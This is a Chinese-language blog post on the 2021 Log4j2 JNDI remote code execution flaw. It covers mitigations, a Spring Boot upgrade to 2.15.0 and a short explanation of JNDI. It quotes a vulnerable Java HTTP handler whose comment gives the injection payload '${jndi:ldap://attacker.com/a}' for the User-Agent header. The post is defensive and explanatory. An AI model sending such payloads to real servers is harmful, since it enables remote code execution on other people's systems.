我鮳!Log4j2突發重大漏洞,我們也中招了。。

長話短說吧。

相信大家已經被 Log4j2 的重大漏洞刷屏了,估計有不少小夥伴此時此刻已經累趴下了。很不幸,我的小老弟小二的 Spring Boot 項目中恰好用的就是 Log4j2,版本特喵的還是 2.14.1,在這次漏洞波及的版本範圍之內。

第一時間從網上得知這個漏洞的消息後,小二嚇尿了。趕緊跑過來問老王怎麼解決。

老王先是給小二提供了一些臨時性的建議,比如說:

JVM 參數添加 -Dlog4j2.formatMsgNoLookups=true
log4j2.formatMsgNoLookups=True
FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 設置爲true

並且老王也在時刻的關注着 Log4j2 的官網和 Spring Boot GitHub 倉庫的最新消息。

Java 後端開發的小夥伴應該都知道,Log4j、SLF4J、Logback 這 3 個日誌組件是一個爹——Ceki Gulcu,但 Log4j 2 卻是例外,它是 Apache 基金會的產品。

所以這波超級高危漏洞的鍋必須得由 Apache 來背。並且波及範圍非常廣,已知受影響的應用程序和組件有:

  • Spring-boot-strater-log4j2
  • Apache Solr
  • Apache Flink
  • Apache Druid

並且只要是在 Log4j 2.x <= 2.14.1 之間的版本,都將受到影響——註定被載入史冊的一波 bug 啊。

目前,Log4j2 的官網已經發布了 Log4j2 2.15.0 正式版,來解決此次漏洞。

那隨着 Log4j2 2.15.0 正式版的發佈,Spring Boot 的 GitHub 倉庫提的這些關於 Log4j2 的 issue 都已經處於關閉狀態了。

看到這些消息後,老王緊張的情緒一下子就緩解了下來,就像吃了一顆定心丸,趕緊去通知小二不用再提心吊膽了,直接一行代碼搞定。

<properties>
    <log4j2.version>2.15.0</log4j2.version>
</properties>

詳情可參照 Spring Boot 官方這篇博客:

https://spring.io/blog/2021/12/10/log4j2-vulnerability-and-spring-boot

Gradle 構建的項目也有解決方案。

問題是解決了,不過老王沒閒着。他從 Log4j2 官網公佈的最新消息中琢磨出,本次遠程代碼執行漏洞正是由於組件存在 Java JNDI 注入漏洞:當程序將用戶輸入的數據記錄到日誌時,攻擊者通過構造特殊請求,來觸發 Apache Log4j2 中的遠程代碼執行漏洞,從而利用此漏洞在目標服務器上執行任意代碼

那肯定會有小夥伴在好奇 JNDI 是什麼東東?來看一下維基百科的解釋。

Java命名和目錄接口(Java Naming and Directory Interface,縮寫JNDI),是Java的一個目錄服務應用程序接口(API),它提供一個目錄系統,並將服務名稱與對象關聯起來,從而使得開發人員在開發過程中可以使用名稱來訪問對象。

利用下面這段代碼,攻擊者可以通過JNDI來執行LDAP協議來注入一些非法的可執行代碼。

public class VulnerableLog4jExampleHandler implements HttpHandler {
    static Logger log = Logger.getLogger(log4jExample.class.getName());
    /**
     * A simple HTTP endpoint that reads the request's User Agent and logs it back.
     *
     * This is basically pseudo-code to explain the vulnerability, and not a full example.
     *
     * @param he HTTP Request Object
     */
    public void handle(HttpExchange he) throws IOException {
        String userAgent = he.getRequestHeader("user-agent");
// This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
// The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
        log.info("Request User Agent:" + userAgent);
        String response = "<h1>Hello There, " + userAgent + "!</h1>";
        he.sendResponseHeaders(200, response.length());
        OutputStream os = he.getResponseBody();
        os.write(response.getBytes());
        os.close();
    }
}

具體的攻擊手段可以參考這裏:

https://github.com/apache/pulsar/issues/13232

下圖是程序猿阿朗畫的簡單的攻擊鏈路步驟圖。

感興趣的小夥伴可以在本地復現一下,但千萬不要不當利用哦!

再次提醒大家一下,排查自己的項目是否引入了 Apache log4j-core Jar 包。

如果存在依賴引入,且在受影響版本範圍內,請升級到 Apache Log4j2 2.15.0 版本,目前已經 release。


沒有什麼使我停留——除了目的,縱然岸旁有玫瑰、有綠蔭、有寧靜的港灣,我是不繫之舟

推薦閱讀

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章